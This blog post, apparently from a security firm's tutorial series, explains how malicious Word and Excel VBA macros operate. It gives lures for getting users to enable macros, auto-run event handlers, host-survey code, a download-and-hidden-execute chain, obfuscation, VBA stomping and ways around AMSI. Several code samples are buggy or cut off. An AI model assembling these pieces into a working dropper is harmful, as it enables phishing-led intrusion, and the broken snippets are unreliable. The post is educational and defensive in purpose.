Skip to Main Content
August 04, 2020

Malicious Macros for Script Kiddies

Written by TrustedSec


Macros seem like the new hotness amongst hackers, but I thought macros were just simple scripts that some accountant in finance used to simplify their spreadsheets. How can I use and abuse these things to Hack the Planet and rule the world? How can something designed in the 90s still be relevant?

In previous blog posts, I provided the foundation for understanding Visual Basic for Applications (VBA) and macros. I started with why we should even be looking at VBA again in part 1: Intro To Macros and VBA for Script Kiddies. I then looked at the basics and how to read this cryptic language in part 2: The VBA Language for Script Kiddies. Finally, I covered how to write some VBA in part 3: Developing with VBA for Script Kiddies. With the fundamentals out of the way, we can finally get down and dirty with some malicious macros.

I know macros may seem like something out of 90s, and they are, but they are also becoming relevant again as all old trends become fashionable—just like flannel, Jumanji, and Backstreet Boys, macros are coming back! When Microsoft finally started locking down macros, the hackers moved on to greener pastures and started exploiting browsers, PDFs, and anything else that had some buffer overflows. No longer was the goal to have a n00b open your malicious Word document—it was to have them click on your link. But eventually, vulnerabilities got harder to find and even harder to exploit. The defenders have gotten a lot better, so attackers have taken another look at macros. Maybe they are not as locked down as we thought? Maybe there is still something there?

VBA was designed to automate simple Microsoft Office tasks, but it has some powerful capabilities as well. The VBA programming language shares many of the same features as other programming languages. VBA gives you access to application and system events and objects, and it also allows you to utilize many operating system APIs. When you combine these capabilities with some social engineering, obfuscation, and nunchuck skillz, you can start hacking and cracking like the old days. So, let’s get into it and see how these malicious macros run.

A Brief History

Macro viruses were a little before my time. What was it like in the land of milk and honey when the Melissa virus ran rampant?

Macros are a fairly powerful, easy way to automate simple Microsoft Office tasks. They helped make the everyday office worker’s job a little easier, but they also opened up a juicy attack surface. It did not take long for attackers to exploit this capability and take over machines.

Macros are embedded as a part of Office documents, and in the early days, these macros could run automatically when the document was opened. So, all an attacker needed to do was get the user to download and open an Office document—typically as an email attachment—and the macro was off and running. This simple infection vector was utilized by several viruses at the time, including the Melissa virus, which was released in 1999 and targeted Outlook and Word. When the infected email attachment was opened, it would mass mail itself to the first 50 people in the Outlook contact list.

Once a macro was running under the guise of an “official” Office document, it had free reign of the system. Macros could infect files, corrupt other parts of the system, download and install software, or do anything else its heart desired. And since these actions were being performed as part of a macro, not all anti-virus programs saw this as a threat.

Eventually, Microsoft and the security community started cracking down. They disabled macros by default starting with Office 2007, which forced the user to enable the macros in a document (hopefully giving them pause as to whether or not to trust the document). This made attacks a little trickier. The anti-virus programs started scanning documents for the plaintext macros (since VBA is a scripting language after all). When attackers started obfuscating their code, Microsoft introduced the Antimalware Scan Interface (AMSI), which was able to scan the scripting functions being called at runtime instead of the obfuscated strings within the documents. This increased security forced attackers to seek alternative methods for code execution, namely exploits, but now, as exploits are becoming harder to find and security companies are getting better at defending against them, macros are making a comeback.

Figure 1 - Prevalence of Exploits Versus Macro Attacks[1]

Social Engineering

OK. Macros seem like they deserve another look, but how do we get past those original defenses? Microsoft finally got wise and blocked macros by default, so how are we gonna get them running in the first place?

After the initial wave of macro viruses in the 90s and 00s, Microsoft disabled macros in documents by default. This single hurdle stopped many automated macro viruses from running when an unsuspecting user simply opened a document they received. This simple step caused a lot of bad actors to move on to other targets for automatic execution. It is always easiest to go after the lowest hanging fruit, and code execution through browser or application exploits proved to be far easier to reach. However, with exploitation becoming harder, macros have once again become the fruit du jour.

Now that we are looking to use malicious macros again, we need to address that first hurdle. When the user opens a macro-enabled document, they receive a warning in the form of a message bar at the top of the application letting them know that 'Macros have been disabled.' The user has the option of enabling the macros for that document (or all documents if they are REALLY trusting). Microsoft must let users do this because some people actually use macros for legitimate purposes—I know. So, all we have to do to get past this initial hurdle is trick a user into enabling macros for us, and attackers have been tricking users into clicking things for a long, long time using social engineering. Social engineering is the subtle art of duping rubes with flowery prose, intimidating demands, or plain ol’ curiosity.

Attackers have developed many techniques for getting users to enable macros. After all, they got the user to download/open the document to begin with, so how much harder is it to get them to enable macros? One of the common ploys is to create a supposed “confidential” document. You include 'blurred' or 'encrypted' text in the document as well as instructions to 'Enable macros to view the confidential document.' You can even have one of your macros display the 'plaintext,' confidential document once the macros have been enabled. Who would not want to see what is behind those blurred lines? Social engineering for the win!

Figure 2 Social Engineering Using a “Confidential” Document[2]

Initial Execution

Ha! I loved that blurred document trick. I mean, I wanted to click enable and I knew what you were doing. Anyway, now our macros CAN run, but how do we actually get our code to execute? Do we need to trick the user into clicking run macro or something?

With the initial ruse to get macros enabled complete, we can move on to actual code execution. Macros may be enabled, but we need an entry point for our malicious program. Thankfully, VBA is an event-driven language, and Microsoft has exposed several events that occur automatically during the Office application’s execution. All we need to do is respond to these events within our macros and we will have our initial execution. These events for Word are[3]:

  • AutoExec runs when you start Word or load a global template
  • AutoNew runs each time you create a new document
  • AutoOpen runs each time you open an existing document
  • AutoClose runs each time you close a document
  • AutoExit runs when you exit Word or unload a global template

We can 'register' our event handlers simply by giving a procedure the same name as the event we want to trigger on or by naming one of our code modules after the auto macro and including a procedure named 'Main' within that module. The other Office applications have similar events, but they might not have the exact same events, and some might have slightly different names, i.e., Excel provides Auto_Open and Auto_Close as opposed to AutoOpen and AutoClose.

In addition to these application events, the Office documents themselves trigger events and may contain their own handlers. These event handling procedures are contained within the document instead of the code module. For example, Word documents produce the following events:

  • Document_Open runs when a document is opened
  • Document_Close runs when a document is closed
  • Document_New runs when a new document based on the template is created

It should be reiterated that these are document-specific event handlers and the macro procedures themselves must be contained within the document and not within a code module. Also, note that the procedures should be marked Private, e.g., Private Sub Document_Open(). And again, the other Office document types contain very similar events, i.e., Excel provides Workbook_Open and Workbook_Close.

By using these automatically triggered events, we can gain execution. The events are triggered in a specific order and at specific times, so you may want to play with them to find what works best in your situation. For instance, you may want to trigger whenever Word starts or only when you are saving a document. The important part is that we have found a way to start our macros, so we are off and running.

Common Tasks

Great! We’ve gotten around that pesky warning bar and we’ve gained execution, so what’s next? What can we actually do in VBA? I want to start downloading and executing my second-stage, full-fledged implant (and by that I obviously mean Meterpreter cuz I’m still a script kiddie).

After social engineering our gullible user into enabling macros, we gained initial execution using one of the automatic events in Office. We are up and running, so let us explore what we can do now. As I mentioned in previous blog posts, VBA is a powerful scripting language that exposes numerous APIs, objects, and events allowing the programmer to interact with the system from the somewhat privileged context of a trusted application. We can make use of VBA code, COM objects, OLE automation, and Win32 APIs to explore the host, access the filesystem, and run commands. In a previous blog post, I briefly covered how to call external Win32 DLL functions using a declare statement (see below), but now I will cover some specific calls in a little more detail along with other options.

Declare PtrSafe Function GetPID _
    Lib "kernel32" _
    Alias “GetProcessId” ( _
        ByVal hProcess As LongPtr _
    ) _
    As Long

In the above example, we are declaring the prototype for the GetProcessId function. To begin with, remember that the underscore simply indicates that the statement is continued on the next line (which we need because VBA is line terminated). Then first we have the Declare statement which is used to declare references to external procedures. This is followed by the PtrSafe keyword which is available in VBA7 and indicates that the data types need to be 64-bit compliant, i.e., pointers will be 32-bit values on 32-bit systems and 64-bit values on 64-bit systems. Following the Function keyword, we have the name of the function locally within our VBA code module. Next, we have the Lib keyword indicating in which library the function is located. Then, we have the Alias keyword, which gives the name of the function within the external library (if you want to use the same name within your code, then the Alias attribute is not necessary). After the Alias name, we have the argument list, which includes the method of passing the parameter (ByVal vs. ByRef), the parameter name, and the type (LongPtr for HANDLE). Finally, we list the return type using the As keyword (Long or DWORD in this case).

Survey Target

Now that we are up and running, the first thing we may want to do is survey the host. We want to gain a little situational awareness, like determining the domain name, username, process list, etc. This will allow us to determine if we are in the correct operating environment and if we want to continue operating on this system. In a typical agent/shellcode, we would rely on the standard Win32 API calls to gather this information, and VBA still allows you to access these Win32 functions, but we can gather this information in other ways as well.

Domain Name

We can retrieve the domain name using the Win32 API. We first declare a constant value corresponding to the DNS domain and taken from the Win32 enumeration: COMPUTER_NAME_FORMAT. We next Declare our external Win32 function. After that, we create a fixed length string variable. Finally, we retrieve the domain name by calling the external Win32 API and filling in our string variable, and we output the result to the Immediate window using the Debug.Print statement.

Const ComputerNameDnsDomain = 2

Declare PtrSafe Function GetComputerNameExA Lib "kernel32" ( _
    ByVal NameType As Long, _
    ByVal lpBuffer As String, _
    ByRef nSize As Long _
) As Boolean
Sub GetDomainName()
    Dim DomainName As String * 256
    GetComputerNameExA ComputerNameDnsDomain, DomainName, 256
    Debug.Print “Domain: “ & DomainName
End Sub

We can retrieve the domain name using the Wscript object as well (Note: This is the user’s domain, which may differ from the computer’s domain in the previous example). First, we create a Wscript Network object using a Set statement. Set statements are used to assign an object reference to a variable. Finally, we retrieve the domain name by setting the domain name variable equal to the Wscript Network object’s UserDomain property.

Sub GetDomainName()
    Set wsNetwork = CreateObject(“Wscript.Network”)
    DomainName = wsNetwork.UserDomain
    Debug.Print “Domain: “ & DomainName
End Sub

Another option for retrieving the domain name is by using VBA to access the environment variable. In this simple example, we retrieve the domain name by calling the Environ method of VBA’s Interaction class. The Interaction class is a module containing procedures used to interact with objects, applications, and systems. The Environ method simply returns the string value associated with the operating system environment variable name passed into the method.

Sub GetDomainName()
    DomainName = VBA.Interaction.Environ(“UserDomain”)
    Debug.Print “Domain: “ & DomainName
End Sub


To retrieve the username of the current user, we can use our tried and true Win32 API. We declare the external function we want to use (this time it is in the advapi32 DLL), and then we call the function passing in our fixed length username buffer to be filled in.

Declare PtrSafe Function GetUserNameA Lib "advapi32" ( _
    ByVal NameType As Long, _
    ByVal lpBuffer As String, _
    ByRef nSize As Long _
) As Boolean

Sub GetUsername()
    Dim Username As String * 256
    GetComputerNameExA ComputerNameDnsDomain, DomainName, 256
    Debug.Print “Username: “ & Username
End Sub

We can also retrieve the username using VBA to access information from the Office application itself. Remember, the Application object in VBA refers to the Office application instance running the code. So, we retrieve the username by setting it equal to the Application’s UserName property.

Sub GetUsername()
    Username = Application.UserName
    Debug.Print “Username: “ & Username
End Sub

Finally, we can retrieve the username using VBA to access the environment variable as we did with the domain name. We simply call the Environ method again, but this time we ask for the value associated with the 'Username' environment variable.

Sub GetUsername()
    Username = VBA.Interaction.Environ(“Username”)
    Debug.Print “Username: “ & Username
End Sub

Process List

To get a list of running processes, we can, of course, use the Win32 library calls. This is a little more complicated than our previous calls. First, we need the process entry structure for a 32-bit process. (Note: This example is only for 32-bit processes.) Next, we have the constant value used in the CreateToolhelp32Snapshot to indicate that we are interested in creating a snapshot of all processes. Following this constant, we have the declares for the three (3) functions that we will use to create the snapshot of running processes and loop through these processes. Finally, we have our code. We create a process entry object. Next, we create a snapshot of the running processes using our Win32 API. We then get the first entry in the list and loop through all process entries, printing out the process name before iterating to the next process entry.

    dwSize As Long
    cntUsage As Long
    th32ProcessID As Long
    th32DefaultHeapID As Long
    th32ModuleID As Long
    cntThreads As Long
    th32ParentProcessID As Long
    pcPriClassBase As Long
    dwFlags As Long
    szExeFile As String * 260
End Type

Const TH32CS_SNAPPROCESS As Long = &H2

Declare Function CreateToolhelp32Snapshot Lib "kernel32.dll" ( _
    ByVal dwFlags As Long, _
    ByVal th32ProcessID As Long _
) As Long

Declare PtrSafe Function Process32First Lib "kernel32.dll" ( _
    ByVal hSnapshot As LongPtr, _
    ByRef lpProcEntry As PROCESSENTRY32 _
) As Long

Declare PtrSafe Function Process32Next Lib "kernel32.dll" ( _
    ByVal hSnapshot As LongPtr, _
    ByRef lpProcEntry As PROCESSENTRY32 _
) As Long

Sub GetProcessList()
    Dim procEntry As PROCESSENTRY32
     hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
    procEntry.dwSize = Len(procEntry)
    success = Process32First(hSnapshot, procEntry)
    Do While success <> 0
         Debug.Print “Process: “ & procEntry.szExeFile
         procEntry.dwSize = Len(procEntry)
         procEntry.szExeFile = Space(260)
         success = Process32Next(hSnapshot, procEntry)
End Sub

We can also retrieve a list of processes using WMI through VBA. First, we create a WMI object using a Set statement. Next, we use the WMI object’s ExecQuery method to get a process listing which is also an object. Finally, we iterate through this resulting object to get the process list.

Sub GetProcessList()
    Set objServices = GetObject("winmgmts:\.\root\CIMV2")
    Set objProcessSet = objServices.ExecQuery( _
        "SELECT Name FROM Win32_Process", , 48)
    For Each Process In objProcessSet
        Debug.Print "Process: " &
End Sub

Download File

After surveying the box and deciding that you want to proceed (i.e., this is not a security researcher’s machine and you are actually running on your intended target), the next step is probably downloading a subsequent payload. VBA is a powerful language with a lot of features, but it does have its limitations, and most of your tools are probably already written and compiled into binaries. Being able to download new files is a must for continuing your attack. Again, VBA provides a variety of methods for doing this via Win32 library calls, using COM objects, or any other combination of operating system and object manipulation.

To download a file using a Win32 API, we can rely on a plethora of libraries, but in this example, we will use Urlmon. Urlmon exposes the easy-to-use function: UrlDownloadToFileA. We declare the external function with the name, library, and parameters. Next, we simply call the function passing in the URL we want to download and where to save the resulting file. In this example, we are downloading a TrustedSec image to the current directory with the filename “ts.jpg”.

Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" ( _
    ByVal pCaller As LongPtr, _
    ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, _
    ByVal lpfnCB As LongPtr _
) As Long

Sub DownloadFile()
     URLDownloadToFileA 0, "", "ts.jpg", 0, 0
End Sub

Again, there are numerous ways to download a file using the power of VBA, so now we will look at accomplishing this task with a COM object: XMLHTTP. XMLHTTP is part of Microsoft’s suite of XML DOM components. The object was designed to provide access to XML documents on remote servers, but it contains an easy to use method for sending and receiving data via HTTP. After retrieving the data, we can use another COM object to write the data to file: ADODB. The ADODB stream object is used to represent a stream of data or text. This stream object contains easy to use methods for creating and writing streams of data to file. In the following example, we create an instance of the XMLHTTP object using a Set statement. We also create an instance of the Stream object using a Set statement. Next, we send a request to the webserver using the Open and Send methods of the XMLHTTP object. Finally, we save the HTTP response body using the Open, Write, and savetofile methods of the Stream object.

Sub DownloadFile()
    Set objXMLHTTP = CreateObject("Microsoft.XMLHTTP")
    Set objADODBStream = CreateObject("ADODB.Stream")
    objXMLHTTP.Open "GET", "", False
    objADODBStream.Type = 1
    objADODBStream.Write objXMLHTTP.responseBody
    objADODBStream.savetofile "ts.jpg", 2
End Sub

Execute Binary

Now that you have surveyed the target and downloaded some additional tools, you will want to know how to execute these new binaries on the system. Binary execution can mean a lot of different things. Sometimes you want to execute straight shellcode. Other times you may want to load a DLL from memory. In this case, we will look at how to run an executable that is already on disk. (To be clear, VBA is more than capable of performing those other actions using Win32 APIs or other system objects and interactions, but I am trying to keep this brief and focused on script kiddies.)

Again, we will start with the familiar Win32 API calls to run a program. Probably the simplest function for starting a program is WinExec. To use WinExec, we declare the external function with the name, library, and parameters. Next, we have a constant value for the program display options (do not show the program). Finally, we just call the function from our subroutine passing in the command-line and display options. In this example, we are executing notepad.exe, but this could be any application including the one you just downloaded.

Declare Function WinExec Lib "kernel32" ( _
     ByVal lpCmdLine As String, _
     ByVal nCmdShow As Long _
) As Long

Const SHOW_HIDE As Long = 0

Sub ExecuteFile ()
     WinExec "C:\Windows\System32\notepad.exe", SHOW_HIDE
End Sub

In addition to using the Win32 API, we can also execute a program using the Shell command built into VBA itself. This command runs an executable program and returns the program’s task ID (if you want it). The Shell command takes as arguments the command-line and the windows-style. So, to execute notepad.exe again and hide its window, we simply make a call to Shell passing in those arguments.

Sub ExecuteFile ()
    Shell "C:\Windows\System32\notepad.exe", vbHide
End Sub

There are numerous methods, APIs, object, etc., that can be used to execute binaries via VBA. In this final example, we will look at running a program using the Windows Script Host. Windows Script provides a Wscript.Shell object, which in turn provides a Run method. This Run method can be invoked with a command-line, window-style, and a Boolean indicating whether or not to wait for the return. So, if we want to run notepad.exe and hide its window again, we simply need to instantiate an instance of the Wscript.Shell, and then call its Run method passing in our arguments.

Sub ExecuteFile ()
    Set objWscriptShell = CreateObject(“WScript.Shell”)
    objWscriptShell.Run “C:\Windows\System32\notepad.exe", 0
End Sub


So now that I have my evil macros, how can I keep them hidden from the prying eyes of users and security products? They are, after all, just sitting there in plaintext inside this document. I need a cloak of invisibility, right?

After taking the time to craft the perfect, malicious macro, we do not want to expose it to the world. We want to hide our secret sauce from endpoint defenses and researchers. As with most plaintext, scripting languages, macros typically rely on obfuscation. With code obfuscation, we can obscure the purpose of our macro. There are several third-party and open-source tools that will obfuscate your code automatically. These tools mess with variable and function names as well as string and integer constants. They can even add superfluous functions or loops. In general, this code obfuscation makes it nearly impossible to comprehend when reading your VBA macros using the Visual Basic Editor built into Office applications. Good obfuscation can even bypass some static anti-virus scans.

A more advanced technique for hiding your intent is by taking advantage of the fact that VBA is run by a virtual machine (or scripting engine) within the hosting Office application. As I mentioned in a previous blog post, VBA is compiled into an intermediate language, P-code, which is run by these scripting engines. An Office document contains both the original, plaintext source code (for reading/editing) and the intermediate, machine-readable P-code (for execution). The trick here is that we can have P-code that does not match the source code. If we “stomp”[4] our malicious source code with benign looking source code, then someone or something reading this plaintext version will not see the actual malicious macros while the scripting engine will execute the compiled, machine-readable P-code. The limitation here is that this P-code corresponds to a certain hosting virtual machine, meaning that it is compiled for a specific version of an Office application. If the document is opened in a different version, then your malicious, machine-readable P-code will not run. Instead, this new scripting engine will compile the “stomped”/benign source code, and the resulting machine-readable P-code will be run in its place.


VBA “stomping,” and obfuscation in general, can make it nearly impossible to detect malicious macros using static analysis. However, Microsoft has introduced the Antimalware Scan Interface (AMSI), which allows security products to integrate with the scripting engine within the Office applications to detect malicious macros dynamically. This new feature allows the security products to see the actual function calls and their parameters at runtime instead of trying to de-obfuscate the static code manually. AMSI logs the macro behavior, triggers a scan by the security product when suspicious functions are called, and stops macro execution when malicious activity is detected by the security product.

AMSI has proven to be a new thorn in our side, but there may be ways around it. In particular, AMSI is disabled for documents opened from a trusted location by default. AMSI is also disabled when the macro security settings are set to 'Enable All Macros.' Finally, AMSI integrates with the Office application via a user-level DLL, so it may be possible to access/modify AMSI directly. Stay tuned for any advances in AMSI bypasses.


Finally, a walkthrough that actually gets into some hacker-type stuff. I hate when “researchers” just leave the fun part as an exercise for the reader. Now I have some actual code examples to go along with my general VBA knowledge, and with these powers combined I can Hack the Planet…I mean better identify and defend my network from malicious macros.

In this edition of VBA for Script Kiddies, we discussed the history of malicious macros and some early security mechanisms. Since their beginning, macros have been an entry point for malware, but after some early success and the resulting lockdown of macros, attackers moved toward exploits. Now that exploits have become more difficult, we have seen a resurgence in malicious macros. So, to start utilizing macros again, we first looked at how to bypass the security warning by tricking a user into enabling your macros. After we used social engineering to enable our macros, we looked at how to gain initial execution using events and Auto procedures and subroutines. Once we gained execution, we used some of the capabilities that the VBA runtime exposed and the privileged context in which macros are run to perform some standard tasks: surveying the target, downloading more tools, and executing those tools. Finally, we discussed obfuscating our code to make it harder to understand and detect. So now you have the basics to become a malicious macro Script Kiddie—but try not to abuse this power too much and always